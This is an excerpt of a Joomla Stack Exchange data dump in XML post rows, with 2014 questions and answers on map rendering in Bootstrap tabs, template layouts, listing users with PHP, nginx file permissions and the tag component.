  <row Id="2413" PostTypeId="2" ParentId="2410" CreationDate="2014-06-24T13:46:22.083" Score="2" Body="&lt;p&gt;I'm not 100% sure I understand what you are doing, but NoNumbers ReReplacer seems to do something like what you want.&#xA;Here is what is written about ReReplacer on their site &lt;a href=&quot;http://www.nonumber.nl/extensions/rereplacer/userguide&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/rereplacer/userguide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ReReplacer enables you to search and replace virtually anything in&#xA;  your website on-the-fly.&lt;br&gt;&#xA;      It functions on the HTML level of your website, so you can replace any piece of HTML you can find.&lt;br&gt;&#xA;      You can search for stuff and replace it with something else. Or remove it (by replacing it with nothing).&#xA;      ReReplacer supports powerful Regular Expressions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-06-24T13:46:22.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2414" PostTypeId="1" CreationDate="2014-06-24T16:16:05.820" Score="2" ViewCount="10556" Body="&lt;p&gt;I'm using iProperty to create tabs with content for different property owners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have hacked the core files a lot to get the site looking and functioning how I want it, but I'm having a problem with the maps in the tabs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the below page, and then click the Location tab, you will see the problem whereby it only loads a small portion of the map. Incidentally, the problem disappears if you resize the browser while the map tab is active, so I think there is some issue when the map initially loads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://red-ferndevelopment.co.uk/OfficeExperts/index.php?option=com_iproperty&amp;amp;view=property&amp;amp;id=90&amp;amp;Itemid=318&quot; rel=&quot;nofollow&quot;&gt;http://red-ferndevelopment.co.uk/OfficeExperts/index.php?option=com_iproperty&amp;amp;view=property&amp;amp;id=90&amp;amp;Itemid=318&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could help, I'd be more than grateful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Austin&lt;/p&gt;&#xA;" OwnerUserId="1541" LastEditorUserId="159" LastEditDate="2014-06-25T10:27:41.707" LastActivityDate="2015-09-13T16:43:28.667" Title="Google Map not loading properly inside Bootstrap tab" Tags="|development|jquery|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2415" PostTypeId="2" ParentId="2412" CreationDate="2014-06-24T18:18:55.113" Score="1" Body="&lt;p&gt;One possibility is slightly modifying the layout to allow more template controls. This is not directly related to getting the alias of the article, but another approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this add this field inside the &lt;code&gt;templateDetails.xml&lt;/code&gt; file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;htmllayout&quot; type=&quot;list&quot; default=&quot;center&quot;&#xA;    label=&quot;HTML Layout&quot;&#xA;    description=&quot;Dynamic layout style from index.php&quot;&#xA;    filter=&quot;word&quot;&#xA;&amp;gt;&#xA;    &amp;lt;option value=&quot;main&quot;&amp;gt;main&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;raw&quot;&amp;gt;Raw&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can add as many options as you need, I have 2 there as an example. This will create a setting in the template manager. Opening up the template in the template manager should allow you to change that setting as well. The key is to leave the current template on main, then duplicate the template (It only duplicates the settings, not the files). In this second template you can change the HTML Layout and use the tab &quot;menu assignment&quot; to specify which page may use it. So in the case of an alias of an article, as long as the article has a menu item associated with it (most likely with the same alias) it should be fairly easy to assign that template to the specified alias (and all others).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically you will have a template specified for use only with specific pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also requires some edits to the &lt;code&gt;index.php&lt;/code&gt; as well though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add the following to the top of the file, within the first php block:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$htmllayout            = $this-&amp;gt;params-&amp;gt;get('htmllayout');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, anywhere you need to specify something different for a special layout then do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($htmllayout=='LAYOUTNAME'): ?&amp;gt;&#xA;anything you need here&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-06-24T18:18:55.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2416" PostTypeId="2" ParentId="2414" CreationDate="2014-06-24T21:24:07.380" Score="5" Body="&lt;p&gt;First the reason re sizing fixes it is that the map checks that everything is &quot;correct&quot; on browser resize. Since the tab is hidden by default the size of the map is smaller until the tab is opened, but no event is getting sent to the map to notify of the change. I have seen similar problems with google maps before and its not really a problem, just something that can get missed easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple of fixes for that, the first is by calling &lt;code&gt;map.checkResize()&lt;/code&gt; when the tab is opened. Though given it is a third party component that may not be easy, but if core modifications have already been made that may not be a problem. Replace &lt;code&gt;map&lt;/code&gt; with the actual variable for the map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second, easier way to &quot;trick&quot; it without actually touching it is to simply do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('a[href=&quot;#propmap&quot;]').on('click',function(){&#xA;   jQuery(window).trigger('resize');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can place that anywhere (as long as its after the DOM has loaded of course) and it should fix it. It triggers a resize event automatically when the tab is clicked so it should force the map to work without a manual resize.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first suggestion is the best as it is not any kind of &quot;hack&quot; but the second should work no matter what.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-06-24T21:24:07.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2417" PostTypeId="2" ParentId="912" CreationDate="2014-06-24T21:43:13.147" Score="1" Body="&lt;p&gt;Best idea is to use core components for that. Use com_content (my favorite frontend is at &lt;code&gt;components/com_content&lt;/code&gt; and backend is at &lt;code&gt;administrator/com_content&lt;/code&gt;) for the &quot;best practices&quot;. For the database tables you can refer to its tables as well (its in &lt;code&gt;PREFIX_content&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the best way to learn as currently a lot of the documentation is outdated, so you may end up using depreciated methods and such (most do tell you). It does take time but it is well worth it, Joomla has a good structure and once you get the hang of looking at the core for references you can find what you need fairly fast.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-06-24T21:43:13.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2418" PostTypeId="2" ParentId="2414" CreationDate="2014-06-24T22:47:32.400" Score="0" Body="&lt;p&gt;You can add this css declaration to prevent conflict Bootstrap/Google Map (if id of your map is #map). In some cases, it solves the issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#map img {&#xA;    max-width: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, you may have to load map script only when tab is displayed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('a[href=&quot;#propmap&quot;]').on('shown', function() {&#xA;    // When tab is displayed... will run google map code&#xA;    // Your Google map code here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this can help!&lt;/p&gt;&#xA;" OwnerUserId="1568" LastEditorUserId="159" LastEditDate="2014-06-25T07:29:53.967" LastActivityDate="2014-06-25T07:29:53.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2419" PostTypeId="1" CreationDate="2014-06-25T06:07:03.227" Score="2" ViewCount="690" Body="&lt;p&gt;I have Installed Joomla 3.3 on My site through FTP and have created database for the Site with the User.I successfully installed the site but I'm not able to access the Global Configuration part on the administrator part&#xA;I am getting the error message &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Class 'ConfigModelForm' not found in /home/**path**/administrator/components/com_config/model/application.php in Line 20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried the &lt;code&gt;Jcache&lt;/code&gt; to remove the cache problems and also tried adding the file &lt;strong&gt;application.php&lt;/strong&gt; again but could not resolve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do ?&lt;/p&gt;&#xA;" OwnerUserId="411" LastEditorUserId="1629" LastEditDate="2014-07-31T12:06:13.160" LastActivityDate="2014-07-31T12:06:13.160" Title="Fatal Error : Could not Access the Global Configuration part in Administration" Tags="|joomla-3.x|component|administrator|global-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2420" PostTypeId="2" ParentId="2412" CreationDate="2014-06-25T06:39:54.247" Score="1" Body="&lt;p&gt;If you're talking about the article alias, invoke the content model or read it from the database.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're talking about the alias in the url, getting it is not easy: Joomla has so many ways of generating it:&#xA;it will be different if you get to the article :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;via a blog or category list, it will be based on the article alias;&lt;/li&gt;&#xA;&lt;li&gt;through a direct menu item, it will be based on the menu item alias;&lt;/li&gt;&#xA;&lt;li&gt;through a search, Joomla decides;&lt;/li&gt;&#xA;&lt;li&gt;you have a SEF extension? you make your own rules&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And this is just for the last section of the alias; the first part (or 'path') depends on the navigation that took you to the article.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give you an idea of how complex this is, a mainstream SEF extension invokes the frontend in order to get the alias, since they obviously found out it was not reliable to generate an alias in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom line: forget the alias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ways around this:&#xA;$input = JFactory::getApplication()-&gt;input;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use the menu item id: $input-&gt;get('Itemid');&lt;/li&gt;&#xA;&lt;li&gt;Use the component / view name: $input-&gt;get('option') . '.' . $input-&gt;get('view');;&lt;/li&gt;&#xA;&lt;li&gt;Use the article id: $input-&gt;get('id'); (but check if option=com_content &amp;amp; view=article)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this answers your question.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2014-06-25T06:39:54.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2422" PostTypeId="2" ParentId="2419" CreationDate="2014-06-25T14:49:30.650" Score="2" Body="&lt;p&gt;I would re-install the site from scratch. Something must have gone wrong in the initial installation.&lt;/p&gt;&#xA;" OwnerUserId="94" LastActivityDate="2014-06-25T14:49:30.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2423" PostTypeId="1" AcceptedAnswerId="2425" CreationDate="2014-06-26T09:27:28.807" Score="3" ViewCount="167" Body="&lt;p&gt;I am using &lt;a href=&quot;http://www.nonumber.nl/extensions/sourcerer&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/sourcerer&lt;/a&gt; in order to place some custom php code in an article to display all my registered users in the front end of my Joomla 3.3 site. I am new to this so appreciate any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code does work however it displays the users all in one long line with no breaks and is very difficult to read, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id|username|email|id|username|email|id|username|email|... etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can somebody explain how I take a new line after each user, for example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id|username|email|&amp;lt;br&amp;gt;&#xA;id|username|email|&amp;lt;br&amp;gt;&#xA;id|username|email|&amp;lt;br&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried adding &lt;code&gt;\n&lt;/code&gt; and other variations in single and double quoted but it won't seem to make any difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;$query = &quot;SELECT * FROM #__users&quot; ;&#xA;$db-&amp;gt;setQuery($query);&#xA;$rows = $db-&amp;gt;loadObjectList();&#xA;foreach ($rows as $row) {&#xA;     echo $row-&amp;gt;id.'|'.$row-&amp;gt;username.'|'.$row-&amp;gt;email;&amp;lt;br&amp;gt;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="159" LastEditDate="2014-06-27T10:57:57.720" LastActivityDate="2014-06-27T10:57:57.720" Title="View Users Front End - php code" Tags="|joomla-3.x|fix-my-code|jdatabase|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2424" PostTypeId="2" ParentId="2423" CreationDate="2014-06-26T09:30:57.623" Score="3" Body="&lt;p&gt;Try this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $row-&amp;gt;id.'|'.$row-&amp;gt;username.'|'.$row-&amp;gt;email.'&amp;lt;br&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="466" LastActivityDate="2014-06-26T09:30:57.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2425" PostTypeId="2" ParentId="2423" CreationDate="2014-06-26T10:59:41.367" Score="3" Body="&lt;p&gt;Along with @Tim Wilkinson's answer, I would also use up to date coding standards for doing your database query like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;      -&amp;gt;select($db-&amp;gt;quoteName('*'))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__users'));&#xA;$db-&amp;gt;setQuery($query);&#xA;$rows = $db-&amp;gt;loadObjectList();&#xA;&#xA;foreach ($rows as $row) {&#xA;    echo '&amp;lt;p&amp;gt;' . $row-&amp;gt;id .'|'.$row-&amp;gt;username.'|'.$row-&amp;gt;email . '&amp;lt;/p&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-06-26T10:59:41.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2426" PostTypeId="1" AcceptedAnswerId="2427" CreationDate="2014-06-26T14:07:21.277" Score="4" ViewCount="2322" Body="&lt;p&gt;I just transferred my Joomla installation to DigitalOcean and i'm running on nginx. Site seems to be running fine but when I login to the administrator portion and try to update something in the global configuration i get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014/06/26 10:08:38 [error] 19654#0: *1035 FastCGI sent in stderr: &quot;PHP message: PHP Warning:&#xA;file_put_contents(/usr/share/nginx/projects/hoopsforu/configuration.php): failed to open stream&#xA;: Permission denied in /usr/share/nginx/projects/hoopsforu/libraries/joomla/filesystem/file.php&#xA; on line 426&quot; while reading response header from upstream, client: 70.208.86.53, server: hoopsf&#xA;oru.com, request: &quot;POST /administrator/index.php?option=com_config HTTP/1.1&quot;, upstream: &quot;fastcg&#xA;i://127.0.0.1:9000&quot;, host: &quot;hoopsforu.com&quot;, referrer: &quot;http://hoopsforu.com/administrator/index&#xA;.php?option=com_config&quot;&#xA;2014/06/26 10:08:38 [error] 19654#0: *1035 upstream sent invalid status &quot;0 Could not write to t&#xA;he configuration file&quot; while reading response header from upstream, client: 70.208.86.53, serve&#xA;r: hoopsforu.com, request: &quot;POST /administrator/index.php?option=com_config HTTP/1.1&quot;, upstream&#xA;: &quot;fastcgi://127.0.0.1:9000&quot;, host: &quot;hoopsforu.com&quot;, referrer: &quot;http://hoopsforu.com/administra&#xA;tor/index.php?option=com_config&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what my config looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;    listen 80;&#xA;    server_name  hoopsforu.com www.hoopsforu.com;&#xA;    server_name_in_redirect off;&#xA;&#xA;    root           /usr/share/nginx/projects/hoopsforu;&#xA;        index index.php index.html index.htm default.html default.htm;&#xA;        # Support Clean (aka Search Engine Friendly) URLs&#xA;        location / {&#xA;                        try_files $uri $uri/ /index.php?$args;&#xA;        }&#xA;&#xA;        # deny running scripts inside writable directories&#xA;        location ~* /(images|cache|media|logs|tmp)/.*\.(php|pl|py|jsp|asp|sh|cgi)$ {&#xA;                        return 403;&#xA;                        error_page 403 /403_error.html;&#xA;        }&#xA;&#xA;        location ~ \.php$ {&#xA;                fastcgi_pass  127.0.0.1:9000;&#xA;                fastcgi_index index.php;&#xA;                include fastcgi_params;&#xA;                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;&#xA;                include /etc/nginx/fastcgi.conf;&#xA;        }&#xA;&#xA;        # caching of files&#xA;        location ~* \.(ico|pdf|flv)$ {&#xA;                        expires 1y;&#xA;        }&#xA;&#xA;        location ~* \.(js|css|png|jpg|jpeg|gif|swf|xml|txt)$ {&#xA;                        expires 14d;&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="393" LastEditorUserId="393" LastEditDate="2014-06-26T14:28:34.710" LastActivityDate="2014-06-26T19:10:26.457" Title="Nginx 502 in Administrator" Tags="|joomla-3.x|nginx|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2427" PostTypeId="2" ParentId="2426" CreationDate="2014-06-26T19:10:26.457" Score="4" Body="&lt;p&gt;Make sure your permissions are set to 644 and 755 for files and folders respectively. More on permissions can be found here: &lt;a href=&quot;https://joomla.stackexchange.com/a/133/19&quot;&gt;https://joomla.stackexchange.com/a/133/19&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also make sure the user or group is set to nginx so that nginx has permission to write to those files / directories.&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-06-26T19:10:26.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2428" PostTypeId="2" ParentId="2412" CreationDate="2014-06-27T06:57:24.360" Score="0" Body="&lt;p&gt;If you would like to load a js only on certain pages, try using jumi. That wokerd for me.&#xA;&lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/custom-code-in-content/1023&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/custom-code-in-content/1023&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="417" LastActivityDate="2014-06-27T06:57:24.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2429" PostTypeId="2" ParentId="2414" CreationDate="2014-06-27T08:38:04.810" Score="2" Body="&lt;p&gt;Bootstrap tabs (and carousels and modals) are initially set to display none, until they become active, so the parent element of your map has height / width of 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to resolve this is to call your map script &lt;em&gt;after&lt;/em&gt; the tab has been displayed, not on document ready. On document ready, there is nothing to load your map into as far as the browser is concerned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bootstrap provides a method to do this with the shown.bs.tab event &lt;a href=&quot;http://getbootstrap.com/javascript/#tabs&quot; rel=&quot;nofollow&quot;&gt;http://getbootstrap.com/javascript/#tabs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you simply need something like this that instantiates the map &lt;em&gt;after&lt;/em&gt; the tab has finished being displayed: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('a[data-toggle=&quot;tab&quot;]').on('shown.bs.tab', function (e) {&#xA;    // Your Google map code here&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-06-27T08:38:04.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2430" PostTypeId="2" ParentId="2379" CreationDate="2014-06-27T08:51:32.703" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The only solution I'm not open to considering is 'change the site design', since this isn't something over which I have control.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is, by far, the best solution though. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having equal height columns is a purely aesthetic decision with zero bearing on functionality. As such, this is a behaviour that should added with the principle of progressive enhancement; a nice-to-have for browsers that can support it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The worst-case, fall-back, scenario being that IE8 users (2.1% and falling &lt;a href=&quot;http://www.w3schools.com/browsers/browsers_explorer.asp&quot; rel=&quot;nofollow&quot;&gt;http://www.w3schools.com/browsers/browsers_explorer.asp&lt;/a&gt; ) get all the content, all the functionality, but don't see equal height columns. Hardly the end of the world is it? Users of IE8 will certainly never notice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a responsible web designer part of your job should be to educate clients about what is and isn't possible / sensible / desirable on the web. They probably have no idea why doing such a thing is a bad idea, they're not web designers.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-06-27T08:51:32.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2431" PostTypeId="2" ParentId="2376" CreationDate="2014-06-27T11:57:59.557" Score="4" Body="&lt;p&gt;I finally worked it out. I needed to create a session and assign it to the app before getFormToken would work. So first I use the Joomla session:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Session\Session;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then create the session, set it and get the form token:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = Session::getInstance('none');&#xA;$this-&amp;gt;app-&amp;gt;setSession($session);&#xA;$token = $this-&amp;gt;app-&amp;gt;getFormToken();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Easy when you know how! I hope this helps someone else.&lt;/p&gt;&#xA;" OwnerUserId="218" LastEditorUserId="218" LastEditDate="2014-06-27T13:26:38.993" LastActivityDate="2014-06-27T13:26:38.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2432" PostTypeId="1" CreationDate="2014-06-27T15:39:33.593" Score="3" ViewCount="463" Body="&lt;p&gt;I have created a component using &lt;a href=&quot;http://component-creator.com/&quot; rel=&quot;nofollow&quot;&gt;http://component-creator.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have got two tables #__competition_data &amp;amp; #__competition_entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have an empty view&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The #__competition_data table is where the competitions are added (in the backend) and the #__competition_entries is where the entries are stored, from a front end form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my empty view, I want to be able to display the _data (showing title of competition etc) and have the form (from the _entries) displayed underneath.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a premium account with Component-Creator, but they're saying they can no longer help me with my support request (which I think is a breach of contract - but that's another story).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I need to edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;models/frontendv1ewform.php&lt;br/&gt;&#xA;view/frontendv1ewform/view.html.php&lt;br/&gt;&#xA;view/frontendv1ewform/tmpl/default.php&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't seem to work out where I'm going wrong. I have read the docs on Joomla.org but still can't work it out! Any ideas where I'm going wrong?&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="174" LastEditDate="2014-07-31T12:10:18.300" LastActivityDate="2014-07-31T12:10:18.300" Title="Component-Creator: Component Development Help" Tags="|component|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2433" PostTypeId="1" CreationDate="2014-06-27T16:29:47.830" Score="5" ViewCount="1151" Body="&lt;p&gt;Can someone explain how to use taxonomies in Joomla 3, in the context of developing a custom application? I can find no documentation of how to implement this. I explored the new tagging system, but it seems not quite ready for prime-time-- none of the &quot;official&quot; Joomla docs on how to use it in a component resulted in success-- they were either out of date or the underlying code was faulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="1629" LastEditDate="2014-07-31T12:11:05.113" LastActivityDate="2014-07-31T12:11:05.113" Title="Taxonomy in Joomla 3" Tags="|component|development|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2436" PostTypeId="1" AcceptedAnswerId="2438" CreationDate="2014-06-28T17:27:01.473" Score="2" ViewCount="1011" Body="&lt;p&gt;I just migrated my bilingual website to joomla 3.3.1 and I am discovering the tag feature, which is awesome! When I click on a tag displayed near the title of an article I am redirected to a page listing all the article with this tag. So far so good. But the problem is that there isn't any menu displayed on that component/tags page! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have been looking for a way to attach an itemid to a specific component page, but I didn't come close to a solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see what I mean &lt;a href=&quot;http://www.rscmovement.org/fr/component/tags/tag/3-politique&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1629" LastEditDate="2014-07-31T12:07:17.083" LastActivityDate="2014-07-31T12:07:17.083" Title="Adding an itemid on the Tag component page" Tags="|component|joomla-3.3.x|menu-item|tags|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2437" PostTypeId="2" ParentId="2432" CreationDate="2014-06-28T17:43:45.137" Score="3" Body="&lt;p&gt;If I got this right, you want to have a list of data from one table together with a form for the other table in the same view.&#xA;This sort of views is not the easiest task because it makes use of multiple models. That's very likely out of the scope of what component-creator is built for and thus they don't give you support anymore. That's understandable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is your first component, then I'd advise you to look for a different approach. Like loading the form by clicking on a button (maybe in a modal). Then it's easy because the form will be a regular form view and you have a regular view list of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are more familiar with Joomla MVC, you can assign two models within your controller and load the needed data from those in your view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my component I did it in my main controller (controller.php) in the display method based on the active view. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add additional models&#xA;$viewName       = $this-&amp;gt;input-&amp;gt;get('view', 'default_view');&#xA;$format         = $this-&amp;gt;input-&amp;gt;get('format', 'html');&#xA;&#xA;switch ($viewName)&#xA;{&#xA;    case 'foo':&#xA;        $viewLayout = $this-&amp;gt;input-&amp;gt;get('layout', 'default');&#xA;        $view = $this-&amp;gt;getView($viewName, $format, '', array('base_path' =&amp;gt; $this-&amp;gt;basePath, 'layout' =&amp;gt; $viewLayout));&#xA;        $view-&amp;gt;setModel($this-&amp;gt;getModel('foo'));&#xA;        $view-&amp;gt;setModel($this-&amp;gt;getModel('bar'));&#xA;        break;&#xA;    case '...':&#xA;        ...&#xA;        break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="52" LastEditorUserId="52" LastEditDate="2014-06-30T12:38:08.773" LastActivityDate="2014-06-30T12:38:08.773" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2438" PostTypeId="2" ParentId="2436" CreationDate="2014-06-28T20:13:50.807" Score="2" Body="&lt;p&gt;This sounds like there is no menu item for the tag component. Then you get something like this &lt;code&gt;/index.php/component/tags/tag/3-yellow&lt;/code&gt; as your URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding a menu item for example of the type &lt;code&gt;Tags » Compact list of tagged items&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want this menu item visible, you can add it to a new menu. If you don't link this menu to a module, it will never show up on the site. But it will still be used for the SEF URLs. This way you can create nice URLs and even customise the view.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-06-28T20:13:50.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2439" PostTypeId="1" AcceptedAnswerId="2442" CreationDate="2014-06-29T09:46:11.453" Score="4" ViewCount="107" Body="&lt;p&gt;On my joomla 3.3.1 website I would like to add the word &quot;Tags:&quot; before the tags that are automatically  display under the article title. &#xA;In which file I am supposed to add this and where?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-06-29T14:52:54.073" LastActivityDate="2014-06-29T14:52:54.073" Title="Customizing the tags displayed under the article title" Tags="|joomla-3.x|tags|custom-action|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
